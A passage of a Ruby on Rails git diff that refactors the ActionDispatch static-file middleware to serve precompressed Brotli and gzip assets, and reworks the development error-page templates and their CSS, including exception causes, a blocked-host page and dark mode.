-  # when a response containing a file's contents is delivered.
+  # # Action Dispatch Static
   #
-  # This middleware will render the file specified in `env["PATH_INFO"]`
-  # where the base path is in the +root+ directory. For example, if the +root+
-  # is set to `public/`, then a request with `env["PATH_INFO"]` of
-  # `assets/application.js` will return a response with the contents of a file
-  # located at `public/assets/application.js` if the file exists. If the file
-  # does not exist, a 404 "File not Found" response will be returned.
-  class FileHandler
-    def initialize(root, index: "index", headers: {})
-      @root          = root.chomp("/")
-      @file_server   = ::Rack::File.new(@root, headers)
-      @index         = index
+  # This middleware serves static files from disk, if available. If no file is
+  # found, it hands off to the main app.
+  #
+  # In Rails apps, this middleware is configured to serve assets from the
+  # `public/` directory.
+  #
+  # Only GET and HEAD requests are served. POST and other HTTP methods are handed
+  # off to the main app.
+  #
+  # Only files in the root directory are served; path traversal is denied.
+  class Static
+    def initialize(app, path, index: "index", headers: {})
+      @app = app
+      @file_handler = FileHandler.new(path, index: index, headers: headers)
     end
 
-    # Takes a path to a file. If the file is found, has valid encoding, and has
-    # correct read permissions, the return value is a URI-escaped string
-    # representing the filename. Otherwise, false is returned.
-    #
-    # Used by the `Static` class to check the existence of a valid file
-    # in the server's `public/` directory (see Static#call).
-    def match?(path)
-      path = ::Rack::Utils.unescape_path path
-      return false unless ::Rack::Utils.valid_path? path
-      path = ::Rack::Utils.clean_path_info path
-
-      paths = [path, "#{path}#{ext}", "#{path}/#{@index}#{ext}"]
-
-      if match = paths.detect { |p|
-        path = File.join(@root, p.force_encoding(Encoding::UTF_8))
-        begin
-          File.file?(path) && File.readable?(path)
-        rescue SystemCallError
-          false
-        end
+    def call(env)
+      @file_handler.attempt(env) || @app.call(env)
+    end
+  end
 
-      }
-        return ::Rack::Utils.escape_path(match)
-      end
+  # # Action Dispatch FileHandler
+  #
+  # This endpoint serves static files from disk using `Rack::Files`.
+  #
+  # URL paths are matched with static files according to expected conventions:
+  # `path`, `path`.html, `path`/index.html.
+  #
+  # Precompressed versions of these files are checked first. Brotli (.br) and gzip
+  # (.gz) files are supported. If `path`.br exists, this endpoint returns that
+  # file with a `content-encoding: br` header.
+  #
+  # If no matching file is found, this endpoint responds `404 Not Found`.
+  #
+  # Pass the `root` directory to search for matching files, an optional `index:
+  # "index"` to change the default `path`/index.html, and optional additional
+  # response headers.
+  class FileHandler
+    # `Accept-Encoding` value -> file extension
+    PRECOMPRESSED = {
+      "br" => ".br",
+      "gzip" => ".gz",
+      "identity" => nil
+    }
+
+    def initialize(root, index: "index", headers: {}, precompressed: %i[ br gzip ], compressible_content_types: /\A(?:text\/|application\/javascript|image\/svg\+xml)/)
+      @root = root.chomp("/").b
+      @index = index
+
+      @precompressed = Array(precompressed).map(&:to_s) | %w[ identity ]
+      @compressible_content_types = compressible_content_types
+
+      @file_server = ::Rack::Files.new(@root, headers)
     end
 
     def call(env)
-      serve(Rack::Request.new(env))
+      attempt(env) || @file_server.call(env)
     end
 
-    def serve(request)
-      path      = request.path_info
-      gzip_path = gzip_file_path(path)
+    def attempt(env)
+      request = Rack::Request.new env
 
-      if gzip_path && gzip_encoding_accepted?(request)
-        request.path_info           = gzip_path
-        status, headers, body       = @file_server.call(request.env)
-        if status == 304
-          return [status, headers, body]
+      if request.get? || request.head?
+        if found = find_file(request.path_info, accept_encoding: request.accept_encoding)
+          serve request, *found
         end
-        headers["Content-Encoding"] = "gzip"
-        headers["Content-Type"]     = content_type(path)
-      else
-        status, headers, body = @file_server.call(request.env)
       end
-
-      headers["Vary"] = "Accept-Encoding" if gzip_path
-
-      return [status, headers, body]
-    ensure
-      request.path_info = path
     end
 
     private
-      def ext
-        ::ActionController::Base.default_static_extension
+      def serve(request, filepath, content_headers)
+        original, request.path_info =
+          request.path_info, ::Rack::Utils.escape_path(filepath).b
+
+        @file_server.call(request.env).tap do |status, headers, body|
+          # Omit content-encoding/type/etc headers for 304 Not Modified
+          if status != 304
+            headers.update(content_headers)
+          end
+        end
+      ensure
+        request.path_info = original
       end
 
-      def content_type(path)
-        ::Rack::Mime.mime_type(::File.extname(path), "text/plain".freeze)
+      # Match a URI path to a static file to be served.
+      #
+      # Used by the `Static` class to negotiate a servable file in the `public/`
+      # directory (see Static#call).
+      #
+      # Checks for `path`, `path`.html, and `path`/index.html files, in that order,
+      # including .br and .gzip compressed extensions.
+      #
+      # If a matching file is found, the path and necessary response headers
+      # (Content-Type, Content-Encoding) are returned.
+      def find_file(path_info, accept_encoding:)
+        each_candidate_filepath(path_info) do |filepath, content_type|
+          if response = try_files(filepath, content_type, accept_encoding: accept_encoding)
+            return response
+          end
+        end
       end
 
-      def gzip_encoding_accepted?(request)
-        request.accept_encoding.any? { |enc, quality| enc =~ /\bgzip\b/i }
+      def try_files(filepath, content_type, accept_encoding:)
+        headers = { Rack::CONTENT_TYPE => content_type }
+
+        if compressible? content_type
+          try_precompressed_files filepath, headers, accept_encoding: accept_encoding
+        elsif file_readable? filepath
+          [ filepath, headers ]
+        end
       end
 
-      def gzip_file_path(path)
-        can_gzip_mime = content_type(path) =~ /\A(?:text\/|application\/javascript)/
-        gzip_path     = "#{path}.gz"
-        if can_gzip_mime && File.exist?(File.join(@root, ::Rack::Utils.unescape_path(gzip_path)))
-          gzip_path
-        else
-          false
+      def try_precompressed_files(filepath, headers, accept_encoding:)
+        each_precompressed_filepath(filepath) do |content_encoding, precompressed_filepath|
+          if file_readable? precompressed_filepath
+            # Identity encoding is default, so we skip Accept-Encoding negotiation and
+            # needn't set Content-Encoding.
+            #
+            # Vary header is expected when we've found other available encodings that
+            # Accept-Encoding ruled out.
+            if content_encoding == "identity"
+              return precompressed_filepath, headers
+            else
+              headers[ActionDispatch::Constants::VARY] = "accept-encoding"
+
+              if accept_encoding.any? { |enc, _| /\b#{content_encoding}\b/i.match?(enc) }
+                headers[ActionDispatch::Constants::CONTENT_ENCODING] = content_encoding
+                return precompressed_filepath, headers
+              end
+            end
+          end
         end
       end
-  end
 
-  # This middleware will attempt to return the contents of a file's body from
-  # disk in the response. If a file is not found on disk, the request will be
-  # delegated to the application stack. This middleware is commonly initialized
-  # to serve assets from a server's `public/` directory.
-  #
-  # This middleware verifies the path to ensure that only files
-  # living in the root directory can be rendered. A request cannot
-  # produce a directory traversal using this middleware. Only 'GET' and 'HEAD'
-  # requests will result in a file being returned.
-  class Static
-    def initialize(app, path, index: "index", headers: {})
-      @app = app
-      @file_handler = FileHandler.new(path, index: index, headers: headers)
-    end
+      def file_readable?(path)
+        file_path = File.join(@root, path.b)
+        File.file?(file_path) && File.readable?(file_path)
+      end
 
-    def call(env)
-      req = Rack::Request.new env
+      def compressible?(content_type)
+        @compressible_content_types.match?(content_type)
+      end
 
-      if req.get? || req.head?
-        path = req.path_info.chomp("/".freeze)
-        if match = @file_handler.match?(path)
-          req.path_info = match
-          return @file_handler.serve(req)
+      def each_precompressed_filepath(filepath)
+        @precompressed.each do |content_encoding|
+          precompressed_ext = PRECOMPRESSED.fetch(content_encoding)
+          yield content_encoding, "#{filepath}#{precompressed_ext}"
         end
+
+        nil
       end
 
-      @app.call(req.env)
-    end
+      def each_candidate_filepath(path_info)
+        return unless path = clean_path(path_info)
+
+        ext = ::File.extname(path)
+        content_type = ::Rack::Mime.mime_type(ext, nil)
+        yield path, content_type || "text/plain"
+
+        # Tack on .html and /index.html only for paths that don't have an explicit,
+        # resolvable file extension. No need to check for foo.js.html and
+        # foo.js/index.html.
+        unless content_type
+          default_ext = ::ActionController::Base.default_static_extension
+          if ext != default_ext
+            default_content_type = ::Rack::Mime.mime_type(default_ext, "text/plain")
+
+            yield "#{path}#{default_ext}", default_content_type
+            yield "#{path}/#{@index}#{default_ext}", default_content_type
+          end
+        end
+
+        nil
+      end
+
+      def clean_path(path_info)
+        path = ::Rack::Utils.unescape_path path_info.chomp("/")
+        if ::Rack::Utils.valid_path? path
+          ::Rack::Utils.clean_path_info path
+        end
+      end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_actions.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_actions.html.erb
new file mode 100644
index 0000000000000..81d41d00a4a61
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_actions.html.erb
@@ -0,0 +1,13 @@
+<% actions = exception_wrapper.actions %>
+
+<% if actions.any? %>
+  <div class="actions">
+    <% actions.each do |action, _| %>
+      <%= button_to action, ActionDispatch::ActionableExceptions.endpoint, params: {
+        error: exception_wrapper.exception_class_name,
+        action: action,
+        location: request.path
+      } %>
+    <% end %>
+  </div>
+<% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_actions.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_actions.text.erb
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_copy_button.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_copy_button.html.erb
new file mode 100644
index 0000000000000..66257c371927f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_copy_button.html.erb
@@ -0,0 +1 @@
+<button onclick="copyAsText.bind(this)()">Copy as text</button>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_message_and_suggestions.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_message_and_suggestions.html.erb
new file mode 100644
index 0000000000000..fff22977b6a0f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_message_and_suggestions.html.erb
@@ -0,0 +1,22 @@
+<% if exception_wrapper.has_corrections? %>
+  <div class="exception-message">
+    <%= simple_format h(exception_wrapper.original_message), { class: "message" }, wrapper_tag: "div" %>
+  </div>
+  <%
+    # The 'did_you_mean' gem can raise exceptions when calling #corrections on
+    # the exception. If it does there are no corrections to show.
+    corrections = exception_wrapper.corrections rescue []
+  %>
+  <% if corrections.any? %>
+    <b>Did you mean?</b>
+    <ul>
+    <% corrections.each do |correction| %>
+      <li class="correction"><%= h correction %></li>
+    <% end %>
+    </ul>
+  <% end %>
+<% else %>
+  <div class="exception-message">
+    <%= simple_format h(exception_wrapper.message), { class: "message" }, wrapper_tag: "div" %>
+  </div>
+<% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
index 49b1e83551ca4..d27a193a88692 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
@@ -1,22 +1,17 @@
-<% unless @exception.blamed_files.blank? %>
-  <% if (hide = @exception.blamed_files.length > 8) %>
-    <a href="#" onclick="return toggleTrace()">Toggle blamed files</a>
-  <% end %>
-  <pre id="blame_trace" <%='style="display:none"' if hide %>><code><%= @exception.describe_blame %></code></pre>
+<h2 class="request-heading">Request</h2>
+<% if params_valid? %>
+  <p><b>Parameters</b>:</p> <pre><%= debug_params(@request.filtered_parameters) %></pre>
 <% end %>
 
-<h2 style="margin-top: 30px">Request</h2>
-<p><b>Parameters</b>:</p> <pre><%= debug_params(@request.filtered_parameters) %></pre>
-
 <div class="details">
   <div class="summary"><a href="#" onclick="return toggleSessionDump()">Toggle session dump</a></div>
-  <div id="session_dump" style="display:none"><pre><%= debug_hash @request.session %></pre></div>
+  <div id="session_dump" class="hidden"><pre><%= debug_hash @request.session %></pre></div>
 </div>
 
 <div class="details">
   <div class="summary"><a href="#" onclick="return toggleEnvDump()">Toggle env dump</a></div>
-  <div id="env_dump" style="display:none"><pre><%= debug_hash @request.env.slice(*@request.class::ENV_METHODS) %></pre></div>
+  <div id="env_dump" class="hidden"><pre><%= debug_hash @request.env.slice(*@request.class::ENV_METHODS) %></pre></div>
 </div>
 
-<h2 style="margin-top: 30px">Response</h2>
+<h2 class="response-heading">Response</h2>
 <p><b>Headers</b>:</p> <pre><%= debug_headers(defined?(@response) ? @response.headers : {}) %></pre>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
index 396768ecee6f7..ca42a6fa8b354 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.text.erb
@@ -1,5 +1,5 @@
 <%
-  clean_params = @request.filtered_parameters.clone
+  clean_params = params_valid? ? @request.filtered_parameters.clone : {}
   clean_params.delete("action")
   clean_params.delete("controller")
 
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.html.erb
index e7b913bbe4845..9a02e0d5ca986 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.html.erb
@@ -1,6 +1,8 @@
-<% @source_extracts.each_with_index do |source_extract, index| %>
+<% error_index = local_assigns[:error_index] || 0 %>
+
+<% source_extracts.each_with_index do |source_extract, index| %>
   <% if source_extract[:code] %>
-    <div class="source <%="hidden" if @show_source_idx != index%>" id="frame-source-<%=index%>">
+    <div class="source <%= "hidden" if show_source_idx != index %>" id="frame-source-<%= error_index %>-<%= index %>">
       <div class="info">
         Extracted source (around line <strong>#<%= source_extract[:line_number] %></strong>):
       </div>
@@ -9,14 +11,19 @@
           <tr>
             <td>
               <pre class="line_numbers">
-                <% source_extract[:code].each_key do |line_number| %>
-<span><%= line_number -%></span>
+                <% source_extract[:code].each_key do |line| %>
+                  <% file_url = editor_url(source_extract[:trace], line: line) %>
+<span><%= link_to_if file_url, line, file_url -%></span>
                 <% end %>
               </pre>
             </td>
 <td width="100%">
 <pre>
-<% source_extract[:code].each do |line, source| -%><div class="line<%= " active" if line == source_extract[:line_number] -%>"><%= source -%></div><% end -%>
+<% source_extract[:code].each do |line, source| -%>
+<div class="line<%= " active" if line == source_extract[:line_number] -%>"><% if source.is_a?(Array) -%><%= source[0] -%><span class="error_highlight"><%= source[1] -%></span><%= source[2] -%>
+<% else -%>
+<%= source -%>
+<% end -%></div><% end -%>
 </pre>
 </td>
           </tr>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
index ab57b11c7d32a..77948a466629c 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
@@ -1,52 +1,66 @@
-<% names = @traces.keys %>
+<% names = traces.keys %>
+<% error_index = local_assigns[:error_index] || 0 %>
 
 <p><code>Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %></code></p>
 
-<div id="traces">
+<div id="traces-<%= error_index %>">
   <% names.each do |name| %>
     <%
-      show = "show('#{name.gsub(/\s/, '-')}');"
-      hide = (names - [name]).collect {|hide_name| "hide('#{hide_name.gsub(/\s/, '-')}');"}
+      show = "show('#{name.gsub(/\s/, '-')}-#{error_index}');"
+      hide = (names - [name]).collect {|hide_name| "hide('#{hide_name.gsub(/\s/, '-')}-#{error_index}');"}
     %>
     <a href="#" onclick="<%= hide.join %><%= show %>; return false;"><%= name %></a> <%= '|' unless names.last == name %>
   <% end %>
 
-  <% @traces.each do |name, trace| %>
-    <div id="<%= name.gsub(/\s/, '-') %>" style="display: <%= (name == @trace_to_show) ? 'block' : 'none' %>;">
-      <pre><code><% trace.each do |frame| %><a class="trace-frames" data-frame-id="<%= frame[:id] %>" href="#"><%= frame[:trace] %></a><br><% end %></code></pre>
+  <% traces.each do |name, trace| %>
+    <div id="<%= "#{name.gsub(/\s/, '-')}-#{error_index}" %>" class="trace-container" style="display: <%= (name == trace_to_show) ? 'block' : 'none' %>;">
+      <code class="traces">
+        <% trace.each do |frame| %>
+          <div class="trace">
+            <% file_url = editor_url(frame[:trace]) %>
+            <%= file_url && link_to("��", file_url, class: "edit-icon") %>
+            <a class="trace-frames trace-frames-<%= error_index %>" data-exception-object-id="<%= frame[:exception_object_id] %>" data-frame-id="<%= frame[:id] %>" href="#">
+              <%= frame[:trace] %>
+            </a>
+            <br>
+          </div>
+        <% end %>
+      </code>
     </div>
   <% end %>
 
-  <script type="text/javascript">
-    var traceFrames = document.getElementsByClassName('trace-frames');
-    var selectedFrame, currentSource = document.getElementById('frame-source-0');
+  <script>
+    (function() {
+      var traceFrames = document.getElementsByClassName('trace-frames-<%= error_index %>');
+      var selectedFrame, currentSource = document.getElementById('frame-source-<%= error_index %>-0');
 
-    // Add click listeners for all stack frames
-    for (var i = 0; i < traceFrames.length; i++) {
-      traceFrames[i].addEventListener('click', function(e) {
-        e.preventDefault();
-        var target = e.target;
-        var frame_id = target.dataset.frameId;
+      // Add click listeners for all stack frames
+      for (var i = 0; i < traceFrames.length; i++) {
+        traceFrames[i].addEventListener('click', function(e) {
+          e.preventDefault();
+          var target = e.target;
+          var frame_id = target.dataset.frameId;
 
-        if (selectedFrame) {
-          selectedFrame.className = selectedFrame.className.replace("selected", "");
-        }
+          if (selectedFrame) {
+            selectedFrame.className = selectedFrame.className.replace("selected", "");
+          }
 
-        target.className += " selected";
-        selectedFrame = target;
+          target.className += " selected";
+          selectedFrame = target;
 
-        // Change the extracted source code
-        changeSourceExtract(frame_id);
-      });
+          // Change the extracted source code
+          changeSourceExtract(frame_id);
+        });
 
-      function changeSourceExtract(frame_id) {
-        var el = document.getElementById('frame-source-' + frame_id);
-        if (currentSource && el) {
-          currentSource.className += " hidden";
-          el.className = el.className.replace(" hidden", "");
-          currentSource = el;
+        function changeSourceExtract(frame_id) {
+          var el = document.getElementById('frame-source-<%= error_index %>-' + frame_id);
+          if (currentSource && el) {
+            currentSource.className += " hidden";
+            el.className = el.className.replace(" hidden", "");
+            currentSource = el;
+          }
         }
       }
-    }
+    })();
   </script>
 </div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/blocked_host.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/blocked_host.html.erb
new file mode 100644
index 0000000000000..6ee17f4ad8999
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/blocked_host.html.erb
@@ -0,0 +1,13 @@
+<header>
+  <%= render "rescues/copy_button" %>
+  <h1>Blocked hosts: <%= @hosts.join(", ") %></h1>
+</header>
+<main role="main" id="container">
+  <h2>To allow requests to these hosts, make sure they are valid hostnames (containing only numbers, letters, dashes and dots), then add the following to your environment configuration:</h2>
+  <pre>
+  <% @hosts.each do |host| %>
+    config.hosts &lt;&lt; "<%= host %>"
+  <% end %>
+  </pre>
+  <p>For more details view: <a href="https://guides.rubyonrails.org/configuring.html#actiondispatch-hostauthorization">the Host Authorization guide</a></p>
+</main>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/blocked_host.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/blocked_host.text.erb
new file mode 100644
index 0000000000000..bc5b5fe8ee8df
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/blocked_host.text.erb
@@ -0,0 +1,9 @@
+Blocked hosts: <%= @hosts.join(", ") %>
+
+To allow requests to these hosts, make sure they are valid hostnames (containing only numbers, letters, dashes and dots), then add the following to your environment configuration:
+
+<% @hosts.each do |host| %>
+  config.hosts << "<%= host %>"
+<% end %>
+
+For more details on host authorization view: https://guides.rubyonrails.org/configuring.html#actiondispatch-hostauthorization
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
index f154021ae66d5..e21e3914ba003 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
@@ -1,16 +1,36 @@
 <header>
+  <%= render "rescues/copy_button" %>
   <h1>
-    <%= @exception.class.to_s %>
-    <% if @request.parameters['controller'] %>
+    <%= @exception_wrapper.exception_class_name %>
+    <% if params_valid? && @request.parameters['controller'] %>
       in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
     <% end %>
   </h1>
 </header>
 
-<div id="container">
-  <h2><%= h @exception.message %></h2>
+<main role="main" id="container">
+  <%= render "rescues/message_and_suggestions", exception: @exception, exception_wrapper: @exception_wrapper %>
+  <%= render "rescues/actions", exception: @exception, request: @request, exception_wrapper: @exception_wrapper %>
+
+  <%= render "rescues/source", source_extracts: @source_extracts, show_source_idx: @show_source_idx, error_index: 0 %>
+  <%= render "rescues/trace", traces: @traces, trace_to_show: @trace_to_show, error_index: 0 %>
+
+  <% if @exception_wrapper.has_cause? %>
+    <h2>Exception Causes</h2>
+  <% end %>
+
+  <% @exception_wrapper.wrapped_causes.each.with_index(1) do |wrapper, index| %>
+    <div class="details">
+      <a class="summary" href="#" onclick="return toggle(<%= wrapper.exception_id %>)">
+        <%= wrapper.exception_class_name %>: <%= h wrapper.message %>
+      </a>
+    </div>
+
+    <div id="<%= wrapper.exception_id %>" class="hidden">
+      <%= render "rescues/source", source_extracts: wrapper.source_extracts, show_source_idx: wrapper.source_to_show_id, error_index: index %>
+      <%= render "rescues/trace", traces: wrapper.traces, trace_to_show: wrapper.trace_to_show, error_index: index %>
+    </div>
+  <% end %>
 
-  <%= render template: "rescues/_source" %>
-  <%= render template: "rescues/_trace" %>
   <%= render template: "rescues/_request_and_response" %>
-</div>
+</main>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
index 603de54b8b8af..52d0483eae99b 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
@@ -1,9 +1,9 @@
-<%= @exception.class.to_s %><%
-  if @request.parameters['controller']
+<%= @exception_wrapper.exception_class_name %><%
+  if params_valid? && @request.parameters['controller']
 %> in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
 <% end %>
 
-<%= @exception.message %>
+<%= @exception_wrapper.message %>
 <%= render template: "rescues/_source" %>
 <%= render template: "rescues/_trace" %>
 <%= render template: "rescues/_request_and_response" %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/invalid_statement.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/invalid_statement.html.erb
new file mode 100644
index 0000000000000..030838860d925
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/invalid_statement.html.erb
@@ -0,0 +1,28 @@
+<header role="banner">
+  <%= render "rescues/copy_button" %>
+  <h1>
+    <%= @exception.class.to_s %>
+    <% if @request.parameters['controller'] %>
+      in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
+    <% end %>
+  </h1>
+</header>
+
+<main role="main" id="container">
+  <h2>
+    <%= h @exception.message %>
+    <% if defined?(ActionText) && @exception.message.match?(%r{#{ActionText::RichText.table_name}}) %>
+      <br />To resolve this issue run: bin/rails action_text:install
+    <% end %>
+    <% if defined?(ActiveStorage) && @exception.message.match?(%r{#{ActiveStorage::Blob.table_name}|#{ActiveStorage::Attachment.table_name}}) %>
+      <br />To resolve this issue run: bin/rails active_storage:install
+    <% end %>
+    <% if defined?(ActionMailbox) && @exception.message.match?(%r{#{ActionMailbox::InboundEmail.table_name}}) %>
+      <br />To resolve this issue run: bin/rails action_mailbox:install
+    <% end %>
+  </h2>
+
+  <%= render "rescues/source", source_extracts: @source_extracts, show_source_idx: @show_source_idx %>
+  <%= render "rescues/trace", traces: @traces, trace_to_show: @trace_to_show %>
+  <%= render template: "rescues/_request_and_response" %>
+</main>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/invalid_statement.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/invalid_statement.text.erb
new file mode 100644
index 0000000000000..dc3a05a1a523b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/invalid_statement.text.erb
@@ -0,0 +1,19 @@
+<%= @exception.class.to_s %><%
+  if @request.parameters['controller']
+%> in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
+<% end %>
+
+<%= @exception.message %>
+<% if defined?(ActionText) && @exception.message.match?(%r{#{ActionText::RichText.table_name}}) %>
+To resolve this issue run: bin/rails action_text:install
+<% end %>
+<% if defined?(ActiveStorage) && @exception.message.match?(%r{#{ActiveStorage::Blob.table_name}|#{ActiveStorage::Attachment.table_name}}) %>
+To resolve this issue run: bin/rails active_storage:install
+<% end %>
+<% if defined?(ActionMailbox) && @exception.message.match?(%r{#{ActionMailbox::InboundEmail.table_name}}) %>
+To resolve this issue run: bin/rails action_mailbox:install
+<% end %>
+
+<%= render template: "rescues/_source" %>
+<%= render template: "rescues/_trace" %>
+<%= render template: "rescues/_request_and_response" %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
index e0509f56f40ba..34ffdb79d5a87 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
@@ -2,11 +2,15 @@
 <html lang="en">
 <head>
   <meta charset="utf-8" />
+  <meta name="viewport" content="width=device-width, initial-scale=1">
+  <meta name="turbo-visit-control" content="reload">
   <title>Action Controller: Exception caught</title>
   <style>
     body {
       background-color: #FAFAFA;
       color: #333;
+      color-scheme: light dark;
+      supported-color-schemes: light dark;
       margin: 0px;
     }
 
@@ -30,27 +34,88 @@
 
     header {
       color: #F0F0F0;
-      background: #C52F24;
+      background: #C00;
       padding: 0.5em 1.5em;
     }
 
+    header button {
+      appearance: none;
+      background-color: hsl(0 0% 0% / 0.2);
+      border: 0;
+      border-radius: 14px;
+      color: white;
+      float: right;
+      font-weight: 500;
+      height: 28px;
+      padding-inline: 14px;
+      margin: 0.35em 0;
+    }
+    header button:active {
+      background-color: hsl(0 0% 0% / 0.25);
+    }
+
     h1 {
+      overflow-wrap: break-word;
       margin: 0.2em 0;
       line-height: 1.1em;
       font-size: 2em;
     }
 
     h2 {
-      color: #C52F24;
+      color: #C00;
       line-height: 25px;
     }
 
+    code.traces {
+      font-size: 11px;
+    }
+
+    .trace-container {
+      margin-top: 10px;
+    }
+
+    code.traces .trace {
+      display: flex;
+      align-items: center;
+      gap: 2px;
+    }
+
+    .edit-icon {
+      width: 16px;
+      height: 16px;
+      display: flex;
+      font-size: 13px;
+      align-items: center;
+      justify-content: center;
+      text-decoration: none;
+    }
+
+    .edit-icon:hover {
+      scale: 1.05;
+    }
+
+    .response-heading, .request-heading {
+      margin-top: 30px;
+    }
+
+    .exception-message {
+      padding: 8px 0;
+    }
+
+    .exception-message .message {
+      margin-bottom: 8px;
+      line-height: 25px;
+      font-size: 1.5em;
+      font-weight: bold;
+      color: #C00;
+    }
+
     .details {
       border: 1px solid #D0D0D0;
       border-radius: 4px;
       margin: 1em 0px;
       display: block;
-      width: 978px;
+      max-width: 978px;
     }
 
     .summary {
@@ -59,6 +124,13 @@
       display: block;
     }
 
+    a.summary {
+      color: #F0F0F0;
+      text-decoration: none;
+      background: #C52F24;
+      border-bottom: none;
+    }
+
     .details pre {
       margin: 5px;
       border: none;
@@ -78,7 +150,7 @@
     .source {
       border: 1px solid #D9D9D9;
       background: #ECECEC;
-      width: 978px;
+      max-width: 978px;
     }
 
     .source pre {
@@ -98,7 +170,7 @@
 
     .source .data .line_numbers {
       background-color: #ECECEC;
-      color: #AAA;
+      color: #555;
       padding: 1em .5em;
       border-right: 1px solid #DDD;
       text-align: right;
@@ -106,6 +178,7 @@
 
     .line {
       padding-left: 10px;
+      white-space: pre;
     }
 
     .line:hover {
@@ -113,26 +186,120 @@
     }
 
     .line.active {
-      background-color: #FFCCCC;
+      background-color: #FCC;
+    }
+
+    .error_highlight {
+      display: inline-block;
+      background-color: #FF9;
+      text-decoration: #F00 wavy underline;
+    }
+
+    .error_highlight_tip {
+      color: #666;
+      padding: 2px 2px;
+      font-size: 10px;
+    }
+
+    .button_to {
+      display: inline-block;
+      margin-top: 0.75em;
+      margin-bottom: 0.75em;
     }
 
     .hidden {
       display: none;
     }
 
+    .correction {
+      list-style-type: none;
+    }
+
+    input[type="submit"] {
+      color: white;
+      background-color: #C00;
+      border: none;
+      border-radius: 12px;
+      box-shadow: 0 3px #F99;
+      font-size: 13px;
+      font-weight: bold;
+      margin: 0;
+      padding: 10px 18px;
+      cursor: pointer;
+      -webkit-appearance: none;
+    }
+    input[type="submit"]:focus,
+    input[type="submit"]:hover {
+      opacity: 0.8;
+    }
+    input[type="submit"]:active {
+      box-shadow: 0 2px #F99;
+      transform: translateY(1px)
+    }
+
     a { color: #980905; }
     a:visited { color: #666; }
-    a.trace-frames { color: #666; }
-    a:hover { color: #C52F24; }
-    a.trace-frames.selected { color: #C52F24 }
+    a.trace-frames {
+      color: #666;
+      overflow-wrap: break-word;
+    }
+    a:hover, a.trace-frames.selected { color: #C00; }
+    a.summary:hover { color: #FFF; }
+
+    @media (prefers-color-scheme: dark) {
+      body {
+        background-color: #222;
+        color: #ECECEC;
+      }
+
+      .details, .summary {
+        border-color: #666;
+      }
+
+      .source {
+        border-color: #555;
+        background-color: #333;
+      }
+
+      .source .data {
+        background: #444;
+      }
+
+      .source .data .line_numbers {
+        background: #333;
+        border-color: #222;
+      }
+
+      .line:hover {
